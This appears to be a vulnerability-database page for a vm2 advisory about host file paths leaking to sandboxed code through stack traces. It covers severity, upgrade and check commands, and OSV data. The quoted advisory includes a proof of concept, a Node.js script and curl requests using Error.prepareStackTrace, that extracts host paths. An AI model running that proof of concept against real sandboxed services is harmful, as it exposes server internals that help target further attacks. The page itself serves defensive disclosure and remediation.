CVE-2026-44002: Vm2 Vm2 Is Vulnerable To Host Vulnerability

MODERATE
Advisory Identifier: GHSA-v27g-jcqj-v8rw
CVSS 5.8
CWE-209
Published
Advisory Summary

CVE-2026-44002 is a MODERATE (CVSS 5.8) vm2 is vulnerable to host vulnerability (CWE-209: Generation of Error Message Containing Sensitive Information) affecting Vm2 libraries in the npm ecosystem. The issue involves vm2 is vulnerable to host file path disclosure via stack trace information leak. Remediation is available by upgrading affected packages to version 3.11.0.

CVE-2026-44002 at a Glance

CVE Identifier CVE-2026-44002
GHSA Identifier GHSA-v27g-jcqj-v8rw
Severity MODERATE
CVSS v3.1 Base Score 5.8
CWE Classification CWE-209: Generation of Error Message Containing Sensitive Information
Affected Product Vm2
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-44002

To remediate this vulnerability, upgrade all affected Vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vm2 fixed: 3.11.0
npm install vm2@3.11.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls vm2

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-44002, inspect your project dependencies using npm:

npm ls vm2

Analyze the terminal output to locate any version of Vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.0), your application is affected.

Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-209: Generation of Error Message Containing Sensitive Information, where the product generates an error message that includes sensitive information about its environment, users, or associated data. In Vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary vm2's `CallSite` wrapper class (intended as a safe wrapper for V8's native CallSite) blocks `getThis()` and `getFunction()` to prevent host object leakage, but allows `getFileName()` to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. ### Details In `lib/setup-sandbox.js:436-466`, the `CallSite` class overrides `getThis()` and `getFunction()` with `undefined` to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object: - `getFileName()` — returns host absolute paths like `/app/node_modules/vm2/lib/vm.js` - `getLineNumber()`, `getColumnNumber()` — exact source locations - `getFunctionName()`, `getMethodName()`, `getTypeName()` — internal function names Two exploitation paths exist: 1. **Default `error.stack`**: `new Error().stack` includes host frame paths in the formatted string 2. **Custom `prepareStackTrace`**: Attacker can set `Error.prepareStackTrace` to directly call `getFileName()` on each CallSite, extracting a clean list of all host paths ### PoC **Library-level PoC (Node.js script — primary):** ```javascript const { VM } = require("vm2"); const vm = new VM(); // Path A — Default error.stack const result1 = vm.run(`try { null.x; } catch(e) { e.stack }`); console.log(result1); // Output includes: /app/node_modules/vm2/lib/vm.js:289:18 // /app/src/server.js:49:20 // Path B — prepareStackTrace extraction const result2 = vm.run(` Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(", "); }; new Error().stack `); console.log(result2); // Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ... ``` **HTTP demonstration:** ```bash # Default error.stack curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"try { null.x; } catch(e) { e.stack }"}' # Result includes host paths: /app/src/server.js, /app/node_modules/express/... # prepareStackTrace extraction curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\", \"); }; new Error().stack"}' # Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ... ``` ### Impact - **Information Disclosure**: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code. - **Attack Chain**: Leaked paths enable precise targeting for other vulnerabilities. - **Scope**: All applications using vm2. No special configuration required.

CVE-2026-44002 Affected Vm2 Versions

1 component(s)
Fixed Versions:
3.11.0
Product / Package Ecosystem Affected Versions Fixed Version
vm2
npm
< 3.11.0
3.11.0

References

Frequently Asked Questions

What is CVE-2026-44002?
CVE-2026-44002 is a security vulnerability in Vm2 involving vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak under CWE-209: Generation of Error Message Containing Sensitive Information.
Which Vm2 versions are affected?
Affected versions include releases prior to 3.11.0 across affected packages: vm2.
What version fixes CVE-2026-44002?
Upgrading to 3.11.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vm2 affected?
Yes, vm2 is affected in releases prior to 3.11.0. Upgrade your dependency to 3.11.0 or later.
What is the CVSS score of CVE-2026-44002?
CVE-2026-44002 has a CVSS v3.1 base score of 5.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N.
What CWE is associated with CVE-2026-44002?
CVE-2026-44002 is classified under CWE-209: Generation of Error Message Containing Sensitive Information (The product generates an error message that includes sensitive information about its environment, users, or associated data.).
How can I check npm dependencies for CVE-2026-44002?
Run the dependency tree command: 'npm ls vm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v27g-jcqj-v8rw",
  "modified" : "2026-05-14T20:36:52Z",
  "published" : "2026-05-07T04:30:10Z",
  "aliases" : [ "CVE-2026-44002" ],
  "summary" : "vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak",
  "details" : "### Summary\nvm2's `CallSite` wrapper class (intended as a safe wrapper for V8's native CallSite) blocks `getThis()` and `getFunction()` to prevent host object leakage, but allows `getFileName()` to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.\n\n### Details\nIn `lib/setup-sandbox.js:436-466`, the `CallSite` class overrides `getThis()` and `getFunction()` with `undefined` to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:\n\n- `getFileName()` — returns host absolute paths like `/app/node_modules/vm2/lib/vm.js`\n- `getLineNumber()`, `getColumnNumber()` — exact source locations\n- `getFunctionName()`, `getMethodName()`, `getTypeName()` — internal function names\n\nTwo exploitation paths exist:\n1. **Default `error.stack`**: `new Error().stack` includes host frame paths in the formatted string\n2. **Custom `prepareStackTrace`**: Attacker can set `Error.prepareStackTrace` to directly call `getFileName()` on each CallSite, extracting a clean list of all host paths\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Path A — Default error.stack\nconst result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);\nconsole.log(result1);\n// Output includes: /app/node_modules/vm2/lib/vm.js:289:18\n//                   /app/src/server.js:49:20\n\n// Path B — prepareStackTrace extraction\nconst result2 = vm.run(`\n  Error.prepareStackTrace = function(e, sst) {\n    return sst.map(function(s) { return s.getFileName(); }).join(\", \");\n  };\n  new Error().stack\n`);\nconsole.log(result2);\n// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...\n```\n\n**HTTP demonstration:**\n```bash\n# Default error.stack\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"try { null.x; } catch(e) { e.stack }\"}'\n# Result includes host paths: /app/src/server.js, /app/node_modules/express/...\n\n# prepareStackTrace extraction\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\\\", \\\"); }; new Error().stack\"}'\n# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...\n```\n\n### Impact\n- **Information Disclosure**: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.\n- **Attack Chain**: Leaked paths enable precise targeting for other vulnerabilities.\n- **Scope**: All applications using vm2. No special configuration required.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.11.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.10.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-v27g-jcqj-v8rw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44002"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-209" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T04:30:10Z",
    "nvd_published_at" : "2026-05-13T18:16:16Z"
  }
}